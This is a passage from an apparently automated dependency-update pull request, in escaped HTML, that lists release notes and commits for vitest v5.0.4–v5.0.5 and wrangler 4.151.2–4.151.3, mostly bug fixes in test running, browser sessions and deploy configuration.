href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11605\"\u003evitest-dev/vitest#11605\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6c5a44720\"\u003e\u003c!-- raw HTML omitted --\u003e(6c5a4)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRelease mocks of finished test files  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11607\"\u003evitest-dev/vitest#11607\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/e9c3d72f0\"\u003e\u003c!-- raw HTML omitted --\u003e(e9c3d)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAbort all running tests on cancel  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11606\"\u003evitest-dev/vitest#11606\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6621a72d6\"\u003e\u003c!-- raw HTML omitted --\u003e(6621a)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ebrowser\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eIgnore synthetic pagehide events  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11582\"\u003evitest-dev/vitest#11582\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/ca0813584\"\u003e\u003c!-- raw HTML omitted --\u003e(ca081)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRun plugin buildStart on server creation  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11593\"\u003evitest-dev/vitest#11593\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/ea611e44c\"\u003e\u003c!-- raw HTML omitted --\u003e(ea611)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eDrop late connections of closed sessions  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11600\"\u003evitest-dev/vitest#11600\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/f161e6df2\"\u003e\u003c!-- raw HTML omitted --\u003e(f161e)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eWait 30s for the browser to close  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11601\"\u003evitest-dev/vitest#11601\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6498b666a\"\u003e\u003c!-- raw HTML omitted --\u003e(6498b)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRun global setup once with instances  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11596\"\u003evitest-dev/vitest#11596\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/8dd67c262\"\u003e\u003c!-- raw HTML omitted --\u003e(8dd67)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ereporter\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eEnd reason \u003ccode\u003e\u0026amp;[#39](https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/39);failed\u0026amp;[#39](https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/39);\u003c/code\u003e on worker crash  -  by \u003ca href=\"https://github.com/AriPerkkio\"\u003e\u003ccode\u003e@​AriPerkkio\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11568\"\u003evitest-dev/vitest#11568\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6ae8e89ff\"\u003e\u003c!-- raw HTML omitted --\u003e(6ae8e)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003e    \u003ca href=\"https://github.com/vitest-dev/vitest/compare/v5.0.4...v5.0.5\"\u003eView changes on GitHub\u003c/a\u003e\u003c/h5\u003e\n\u003ch2\u003ev5.0.4\u003c/h2\u003e\n\u003ch3\u003e   🚀 Features\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eexperimental\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eTag cache directories with CACHEDIR.TAG  -  by \u003ca href=\"https://github.com/lifeiscontent\"\u003e\u003ccode\u003e@​lifeiscontent\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11461\"\u003evitest-dev/vitest#11461\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/a8ea3c8fd\"\u003e\u003c!-- raw HTML omitted --\u003e(a8ea3)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSupport \u003ccode\u003etest.ui.theme\u003c/code\u003e option  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11499\"\u003evitest-dev/vitest#11499\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/1da66405d\"\u003e\u003c!-- raw HTML omitted --\u003e(1da66)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eHighlight selector multiple matches in trace view  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11489\"\u003evitest-dev/vitest#11489\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/5abba1e1b\"\u003e\u003c!-- raw HTML omitted --\u003e(5abba)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ePrint how many tests were affected and a total when running \u003ccode\u003e--changed\u003c/code\u003e  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11424\"\u003evitest-dev/vitest#11424\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/a23368585\"\u003e\u003c!-- raw HTML omitted --\u003e(a2336)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd an option to cache dependencies instead of statically parsing them  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11515\"\u003evitest-dev/vitest#11515\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/c06012ac8\"\u003e\u003c!-- raw HTML omitted --\u003e(c0601)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd fit and zoom controls to trace viewer  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11490\"\u003evitest-dev/vitest#11490\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/f5dd99ed0\"\u003e\u003c!-- raw HTML omitted --\u003e(f5dd9)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e   🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFail the run on git and location filter errors  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11430\"\u003evitest-dev/vitest#11430\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/30d0304d2\"\u003e\u003c!-- raw HTML omitted --\u003e(30d03)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eEnable fsModuleCache by default  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11435\"\u003evitest-dev/vitest#11435\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/ad208cc29\"\u003e\u003c!-- raw HTML omitted --\u003e(ad208)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eTrack project files and mocks with --changed  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11432\"\u003evitest-dev/vitest#11432\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/b0f2b3bb9\"\u003e\u003c!-- raw HTML omitted --\u003e(b0f2b)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRefactor caching, fix \u003ccode\u003e:\u003c/code\u003e in project and change the shape of \u003ccode\u003eresults\u003c/code\u003e cache  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11453\"\u003evitest-dev/vitest#11453\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/9673c49a4\"\u003e\u003c!-- raw HTML omitted --\u003e(9673c)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eKeep full \u003ccode\u003e$\u003c/code\u003e string values when \u003ccode\u003etaskTitleValueFormatTruncate\u003c/code\u003e is 0  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11485\"\u003evitest-dev/vitest#11485\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/4f7e1799b\"\u003e\u003c!-- raw HTML omitted --\u003e(4f7e1)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eResolve node builtins in client environments  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11417\"\u003evitest-dev/vitest#11417\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/56b319ac6\"\u003e\u003c!-- raw HTML omitted --\u003e(56b31)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix module graph builtin externals after \u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11421\"\u003e#11421\u003c/a\u003e  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11491\"\u003evitest-dev/vitest#11491\u003c/a\u003e and \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11421\"\u003evitest-dev/vitest#11421\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/008e184cb\"\u003e\u003c!-- raw HTML omitted --\u003e(008e1)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eWrap module mocks during in-source testing  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11505\"\u003evitest-dev/vitest#11505\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/36d19cb00\"\u003e\u003c!-- raw HTML omitted --\u003e(36d19)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eHandle line endings in snapshot  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11522\"\u003evitest-dev/vitest#11522\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/4c468aa40\"\u003e\u003c!-- raw HTML omitted --\u003e(4c468)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRespect root in projects  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11521\"\u003evitest-dev/vitest#11521\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/26642f793\"\u003e\u003c!-- raw HTML omitted --\u003e(26642)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eResolve mocks in directories with spaces  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11539\"\u003evitest-dev/vitest#11539\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/caaef9416\"\u003e\u003c!-- raw HTML omitted --\u003e(caaef)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eapi\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003ePublish the api token atomically  -  by \u003ca href=\"https://github.com/umairnawaz333\"\u003e\u003ccode\u003e@​umairnawaz333\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11323\"\u003evitest-dev/vitest#11323\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6f990fef1\"\u003e\u003c!-- raw HTML omitted --\u003e(6f990)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ebrowser\u003c/strong\u003e:\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/7a825db43e2beca0b219d2eadaec334cb81af0c7\"\u003e\u003ccode\u003e7a825db\u003c/code\u003e\u003c/a\u003e chore: release v5.0.5 (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11609\"\u003e#11609\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/6621a72d6ed371e43f80ff327f5063693bd6b1ad\"\u003e\u003ccode\u003e6621a72\u003c/code\u003e\u003c/a\u003e fix: abort all running tests on cancel (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11606\"\u003e#11606\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/e9c3d72f0c8d6867de06a3df43ea28a05eeec444\"\u003e\u003ccode\u003ee9c3d72\u003c/code\u003e\u003c/a\u003e fix: release mocks of finished test files (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11607\"\u003e#11607\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/8dd67c2625943d824e257b87ae57a14094e90eed\"\u003e\u003ccode\u003e8dd67c2\u003c/code\u003e\u003c/a\u003e fix(browser): run global setup once with instances (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11596\"\u003e#11596\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/6c5a447203a29a0708fbc5de4fb91ea501bdc395\"\u003e\u003ccode\u003e6c5a447\u003c/code\u003e\u003c/a\u003e fix: run hook cleanups when a later hook fails (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11605\"\u003e#11605\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/9697b3894f456b85db91f3824ebe833449305c04\"\u003e\u003ccode\u003e9697b38\u003c/code\u003e\u003c/a\u003e fix: keep the import frame in native loader errors (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11599\"\u003e#11599\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/6498b666a3ae8961f6f2a8abdc89015b6fd0b3aa\"\u003e\u003ccode\u003e6498b66\u003c/code\u003e\u003c/a\u003e fix(browser): wait 30s for the browser to close (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11601\"\u003e#11601\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/f161e6df2b3c0bc84982d374094379139e380791\"\u003e\u003ccode\u003ef161e6d\u003c/code\u003e\u003c/a\u003e fix(browser): drop late connections of closed sessions (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11600\"\u003e#11600\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/fe86a64c6c6aa75481bffe5880b5c4e35ea67927\"\u003e\u003ccode\u003efe86a64\u003c/code\u003e\u003c/a\u003e fix: skip builtin loading in async leak detector (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11598\"\u003e#11598\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/6ae8e89ff0734cf476e30186a83aebe6771aa330\"\u003e\u003ccode\u003e6ae8e89\u003c/code\u003e\u003c/a\u003e fix(reporter): end reason \u003ccode\u003e'failed'\u003c/code\u003e on worker crash (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11568\"\u003e#11568\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/vitest-dev/vitest/commits/v5.0.5/packages/vitest\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `wrangler` from 4.151.0 to 4.151.3\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/cloudflare/workers-sdk/releases\"\u003ewrangler's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ewrangler@4.151.3\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/cloudflare/workers-sdk/pull/15611\"\u003e#15611\u003c/a\u003e \u003ca href=\"https://github.com/cloudflare/workers-sdk/commit/45081725e9e5cb79b76ade277a7e61395cb55950\"\u003e\u003ccode\u003e4508172\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/taylorlee\"\u003e\u003ccode\u003e@​taylorlee\u003c/code\u003e\u003c/a\u003e! - Allow \u003ccode\u003ewrangler dev\u003c/code\u003e to start module Workers without a default export\u003c/p\u003e\n\u003cp\u003ePreviously, \u003ccode\u003ewrangler dev\u003c/code\u003e failed to start module Workers that exported only named entrypoints, such as RPC services, unless an unused default export was added. These Workers now start normally in local development without that workaround.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/cloudflare/workers-sdk/pull/16370\"\u003e#16370\u003c/a\u003e \u003ca href=\"https://github.com/cloudflare/workers-sdk/commit/61fc7397b2982db1c9b099cbeaee3fd0428fdf8a\"\u003e\u003ccode\u003e61fc739\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/WalshyDev\"\u003e\u003ccode\u003e@​WalshyDev\u003c/code\u003e\u003c/a\u003e! - Fetch the remote config diff from the configured compliance region\u003c/p\u003e\n\u003cp\u003eWhen a Worker was last deployed from the dashboard, \u003ccode\u003ewrangler deploy\u003c/code\u003e and \u003ccode\u003ewrangler versions upload\u003c/code\u003e download its remote configuration to compare with the local one. These requests ignored the \u003ccode\u003ecompliance_region\u003c/code\u003e field in the Wrangler configuration file and only honoured the \u003ccode\u003eCLOUDFLARE_COMPLIANCE_REGION\u003c/code\u003e environment variable. A FedRAMP High Worker configured through the config file would send them to \u003ccode\u003eapi.cloudflare.com\u003c/code\u003e instead of \u003ccode\u003eapi.fed.cloudflare.com\u003c/code\u003e, and the deploy would fail with authentication errors. They now use the same compliance region as the rest of the deploy.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/cloudflare/workers-sdk/pull/15846\"\u003e#15846\u003c/a\u003e \u003ca href=\"https://github.com/cloudflare/workers-sdk/commit/a88cac4d880629a4ad68f7173b3353941bea6081\"\u003e\u003ccode\u003ea88cac4\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/oddharsh\"\u003e\u003ccode\u003e@​oddharsh\u003c/code\u003e\u003c/a\u003e! - Fail with an error instead of hanging when local dev requests can't work under Bun\u003c/p\u003e\n\u003cp\u003eBun's \u003ccode\u003efetch()\u003c/code\u003e ignores the undici \u003ccode\u003edispatcher\u003c/code\u003e\u003ccode\u003eoven-sh/bun#39247\u003c/code\u003e\u003ccode\u003ecreateTestHarness()\u003c/code\u003e's \u003ccode\u003eserver.fetch()\u003c/code\u003e and \u003ccode\u003eserver.getWorker()\u003c/code\u003e's \u003ccode\u003efetch()\u003c/code\u003e, \u003ccode\u003eemail()\u003c/code\u003e and \u003ccode\u003escheduled()\u003c/code\u003e now throw a \u003ccode\u003eUserError\u003c/code\u003e, requests to the dev server URL get a 503 naming the cause, and starting remote bindings throws a \u003ccode\u003eUserError\u003c/code\u003e. Each of these used to hang with no error. \u003ccode\u003eserver.getWorker().getEnv()\u003c/code\u003e and \u003ccode\u003egetExport()\u003c/code\u003e keep working under Bun.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/cloudflare/workers-sdk/pull/16359\"\u003e#16359\u003c/a\u003e \u003ca href=\"https://github.com/cloudflare/workers-sdk/commit/262021dd0db4d24df33405d89e4c1a6622ce832f\"\u003e\u003ccode\u003e262021d\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/tw4\"\u003e\u003ccode\u003e@​tw4\u003c/code\u003e\u003c/a\u003e! - Stop \u003ccode\u003e--strict\u003c/code\u003e deploys and version uploads from aborting when the API omits optional binding fields\u003c/p\u003e\n\u003cp\u003ePreviously, \u003ccode\u003ewrangler deploy --strict\u003c/code\u003e and \u003ccode\u003ewrangler versions upload --strict\u003c/code\u003e could report a destructive change for an unchanged configuration, for example an R2 bucket in the default jurisdiction, because a field the API left out was compared as removed. Missing and unset optional fields are now treated as equal, so these commands proceed when the local configuration matches the deployed Worker.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eUpdated dependencies [\u003ca href=\"https://github.com/cloudflare/workers-sdk/commit/3464abcfeb42bbe7fc3b30a4981cf1ef4c3970ba\"\u003e\u003ccode\u003e3464abc\u003c/code\u003e\u003c/a\u003e]:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"mailto:miniflare@5.20261019.1-beta\"\u003eminiflare@5.20261019.1-beta\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ewrangler@4.151.2\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/cloudflare/workers-sdk/pull/16307\"\u003e#16307\u003c/a\u003e \u003ca href=\"https://github.com/cloudflare/workers-sdk/commit/37ab91c639062dda2acd12f02df4ee49e67ba56f\"\u003e\u003ccode\u003e37ab91c\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/apps/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e! - Update dependencies of \u0026quot;miniflare\u0026quot;, \u0026quot;wrangler\u0026quot;\u003c/p\u003e\n\u003cp\u003eThe following dependency versions have been updated:\u003c/p\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth\u003eDependency\u003c/th\u003e\n\u003cth\u003eFrom\u003c/th\u003e\n\u003cth\u003eTo\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd\u003e\u003ccode\u003e@​cloudflare/workers-types\u003c/code\u003e\u003c/td\u003e\n\u003ctd\u003e^5.20261006.1\u003c/td\u003e\n\u003ctd\u003e^5.20261016.1\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eworkerd\u003c/td\u003e\n\u003ctd\u003e1.20261012.1\u003c/td\u003e\n\u003ctd\u003e1.20261016.1\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/cloudflare/workers-sdk/pull/16352\"\u003e#16352\u003c/a\u003e \u003ca href=\"https://github.com/cloudflare/workers-sdk/commit/0ae7926b77d860a4330448c6cc398946b6797f3d\"\u003e\u003ccode\u003e0ae7926\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/apps/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e! - Update dependencies of \u0026quot;miniflare\u0026quot;, \u0026quot;wrangler\u0026quot;\u003c/p\u003e\n\u003cp\u003eThe following dependency versions have been updated:\u003c/p\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth\u003eDependency\u003c/th\u003e\n\u003cth\u003eFrom\u003c/th\u003e\n\u003cth\u003eTo\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd\u003e\u003ccode\u003e@​cloudflare/workers-types\u003c/code\u003e\u003c/td\u003e\n\u003ctd\u003e^5.20261016.1\u003c/td\u003e\n\u003ctd\u003e^5.20261019.1\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eworkerd\u003c/td\u003e\n\u003ctd\u003e1.20261016.1\u003c/td\u003e\n\u003ctd\u003e1.20261019.1\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eUpdated dependencies [\u003ca 